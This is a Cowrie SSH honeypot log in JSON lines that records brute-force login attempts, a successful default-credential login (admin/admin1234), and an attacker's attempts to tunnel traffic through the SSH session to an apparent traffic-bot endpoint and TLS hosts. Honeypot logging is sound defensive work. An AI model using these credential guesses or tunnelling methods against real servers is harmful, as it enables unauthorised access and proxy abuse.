{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r5t","message":"login attempt [ubuntu/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:10.003874Z","src_ip":"91.92.40.36","session":"24f68c9f9c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62263,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a4bc7fb117","protocol":"ssh","message":"New connection: 123.27.168.40:62263 (10.17.0.5:22) [session: d8a4bc7fb117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:10.129211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:10.139463Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:10.453793Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:11.140764Z","src_ip":"91.92.40.36","session":"24f68c9f9c13","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:11.635830Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:12.012305Z","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:12.111232Z","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:12.402564Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.7 Mobile/17H35 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QzIqMCMjc05rNEw1UkpBVA%3D%3DmIoMIs8XwZPPd1xd26hT00ha1%2B1MMqd%2Btjxiw9WleqA%2B3g6oOTVcdSmJpAOXypQBKfUDzag3tF3hGrAJFeTyXnaef1jLW06uaXWCKAFzxqACC9xGaHdLZayat5slhQkkxfuaG7MDHtRLvUeVPpl5vQkNJEy7YmIOxtQ39mp02sinuVjjskFKeg7itCDHuO7urMgU7clcnWZOKbGUmBTjvpYEhKkLwix1OQi1SCz5SNOVizIrQNzBmYDKqq9qpTXpusnIQFbt0NRiBldYjCMJ6i1bGfob8x%2Fev36l0j5BnYqCTQUEcyhF%2BbnQwer2ZzFYPNwiO6lUuQxqXKCcgkZjLI45Yz5JXEwSULlHbmci5WWnzIqdKItQhA4ot1KWdnBdJRmnxdjpt9gEW%2BBjGr3DTur2bIfDQWkW6euH9T1Egen43f91UXWgl5t8A%2FVH9jZ6uDGNTAQJwxfoH0z0872dQxZQJf26ZXHKO1OxfT8ZAGfzlLIRD3MbcdzkYib00Cl1qblWni2W4R%2Bnljx9JKmZo2zvJOmdITtYCQodaShY8lVYj81Hn2zL%2BwcwFZDhenRbU4RxWUfHzTsE%2FV09VY5lrUfgJtD%2Fq2gzoW%2BwKo4WVidFQefu1wyYYH2jbTmpzIXbK%2FHk%2FLzqGiB%2F3ZMDmsL3wbnEf4TSTBbzJcsu33RAgtWmeKs4Z0gtXEk3P%2FasYXQAfBgbiBCFtlF4Owdw2OdHwOEGQ2kImcio3Wqs1eOblEaAY8UpEBA9I77UyzhDz1zpbgW3OmGJX4WoV5Yc2sPKiiIz3e8iqOfSfdSVhTqyxYTTruhhHuZSnTBuBVpCTHZLQM5t4U%2B3b%2BvQdB%2BZAgX%2B7n8jvG49K%2BOHJEEu18NUYzIwkvkSDj%2FFWuP%2F9ZxBVOfqsaUx%2B5C9NK5C2zYwPXZpShkX07RzztZE2i5ykv5ATcEzM9vAVgfzwaQdMNdgxvLtDgRg2ZMctHN%2BFLKg%2BH432B1VyPJ1rh9qDBSCOezXsphY54ya6jguTyZURYIarKqxYo%2FMKN4doQNzC18sAtc1JbVFnkmnyhx0%2B%2FrEwjjXgYyYGn2aZrl%2FGjsp9%2BdBDBh4'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.7 Mobile/17H35 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QzIqMCMjc05rNEw1UkpBVA%3D%3DmIoMIs8XwZPPd1xd26hT00ha1%2B1MMqd%2Btjxiw9WleqA%2B3g6oOTVcdSmJpAOXypQBKfUDzag3tF3hGrAJFeTyXnaef1jLW06uaXWCKAFzxqACC9xGaHdLZayat5slhQkkxfuaG7MDHtRLvUeVPpl5vQkNJEy7YmIOxtQ39mp02sinuVjjskFKeg7itCDHuO7urMgU7clcnWZOKbGUmBTjvpYEhKkLwix1OQi1SCz5SNOVizIrQNzBmYDKqq9qpTXpusnIQFbt0NRiBldYjCMJ6i1bGfob8x%2Fev36l0j5BnYqCTQUEcyhF%2BbnQwer2ZzFYPNwiO6lUuQxqXKCcgkZjLI45Yz5JXEwSULlHbmci5WWnzIqdKItQhA4ot1KWdnBdJRmnxdjpt9gEW%2BBjGr3DTur2bIfDQWkW6euH9T1Egen43f91UXWgl5t8A%2FVH9jZ6uDGNTAQJwxfoH0z0872dQxZQJf26ZXHKO1OxfT8ZAGfzlLIRD3MbcdzkYib00Cl1qblWni2W4R%2Bnljx9JKmZo2zvJOmdITtYCQodaShY8lVYj81Hn2zL%2BwcwFZDhenRbU4RxWUfHzTsE%2FV09VY5lrUfgJtD%2Fq2gzoW%2BwKo4WVidFQefu1wyYYH2jbTmpzIXbK%2FHk%2FLzqGiB%2F3ZMDmsL3wbnEf4TSTBbzJcsu33RAgtWmeKs4Z0gtXEk3P%2FasYXQAfBgbiBCFtlF4Owdw2OdHwOEGQ2kImcio3Wqs1eOblEaAY8UpEBA9I77UyzhDz1zpbgW3OmGJX4WoV5Yc2sPKiiIz3e8iqOfSfdSVhTqyxYTTruhhHuZSnTBuBVpCTHZLQM5t4U%2B3b%2BvQdB%2BZAgX%2B7n8jvG49K%2BOHJEEu18NUYzIwkvkSDj%2FFWuP%2F9ZxBVOfqsaUx%2B5C9NK5C2zYwPXZpShkX07RzztZE2i5ykv5ATcEzM9vAVgfzwaQdMNdgxvLtDgRg2ZMctHN%2BFLKg%2BH432B1VyPJ1rh9qDBSCOezXsphY54ya6jguTyZURYIarKqxYo%2FMKN4doQNzC18sAtc1JbVFnkmnyhx0%2B%2FrEwjjXgYyYGn2aZrl%2FGjsp9%2BdBDBh4'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:12.406193Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:12.643167Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\x04\\xc9\\xd6_dk\\xcc-\\xa6\\xc1\\xd5LI\\x8eu\\xde}5\\xd7\\x1b\\xd4\\x1b\\xcb\\x0f\\xffRF\\\\\\\\r\\x1f \\x88GU\\xe8x\\xd4N=\\x00\\xba\\xef\\x06BE\\x07l\\xc2\\x8e\\\\\\x15\\xca\\xdc\\xabW!\\x15N\\x9b\\r\\xd7\\xce\\xdf\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b\\xa6\\xf8\\x1b\\xb8\\x0e?\\x1e\\x80\\x94\\xa15S#\\x07\\t\\xc9\\xdc\\xd2\\xb5\\xb0\\n\\x05\\x0114\\xbb\\x82pt\\xda%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\x04\\xc9\\xd6_dk\\xcc-\\xa6\\xc1\\xd5LI\\x8eu\\xde}5\\xd7\\x1b\\xd4\\x1b\\xcb\\x0f\\xffRF\\\\\\\\r\\x1f \\x88GU\\xe8x\\xd4N=\\x00\\xba\\xef\\x06BE\\x07l\\xc2\\x8e\\\\\\x15\\xca\\xdc\\xabW!\\x15N\\x9b\\r\\xd7\\xce\\xdf\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b\\xa6\\xf8\\x1b\\xb8\\x0e?\\x1e\\x80\\x94\\xa15S#\\x07\\t\\xc9\\xdc\\xd2\\xb5\\xb0\\n\\x05\\x0114\\xbb\\x82pt\\xda%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:12.646985Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:13.126039Z","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:13.372600Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q \\xa7k\\x07Q\\xf0_\\xb7\\xddk\\x8dX$=\\xf0\\xa0\\xd8\\xcb\\x05t\\x15tVy5\\xd5=\\x19p/7 \\x8f\\xe1sD<\\xf7\\x06\\x1a\\xc4\\x19\\xcb(\\x9aB\\x9f\\xe7N)\\xd4\\xcd\\x89`}\\xf1g\\x10\\xd4\\x10\\xd4\\xbc=\\x1f\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\xf3\\x1a\\xd0I\\xf0s\\xc4\\xbc\\xd0\\x02`\\xd5\\x882\\x9b\\x0c\\'\\xc1\\x89;\\x82\\xf5\\x13\\xd36\\xa6\\xd4M\\xa1\\x82|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q \\xa7k\\x07Q\\xf0_\\xb7\\xddk\\x8dX$=\\xf0\\xa0\\xd8\\xcb\\x05t\\x15tVy5\\xd5=\\x19p/7 \\x8f\\xe1sD<\\xf7\\x06\\x1a\\xc4\\x19\\xcb(\\x9aB\\x9f\\xe7N)\\xd4\\xcd\\x89`}\\xf1g\\x10\\xd4\\x10\\xd4\\xbc=\\x1f\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\xf3\\x1a\\xd0I\\xf0s\\xc4\\xbc\\xd0\\x02`\\xd5\\x882\\x9b\\x0c\\'\\xc1\\x89;\\x82\\xf5\\x13\\xd36\\xa6\\xd4M\\xa1\\x82|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:13.375996Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:13.758413Z","src_ip":"123.27.168.40","session":"d8a4bc7fb117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38596,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e41fff56118","protocol":"ssh","message":"New connection: 91.92.40.36:38596 (159.203.135.109:22) [session: 7e41fff56118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:15.776415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:15.904801Z","src_ip":"91.92.40.36","session":"7e41fff56118","protocol":"ssh"}
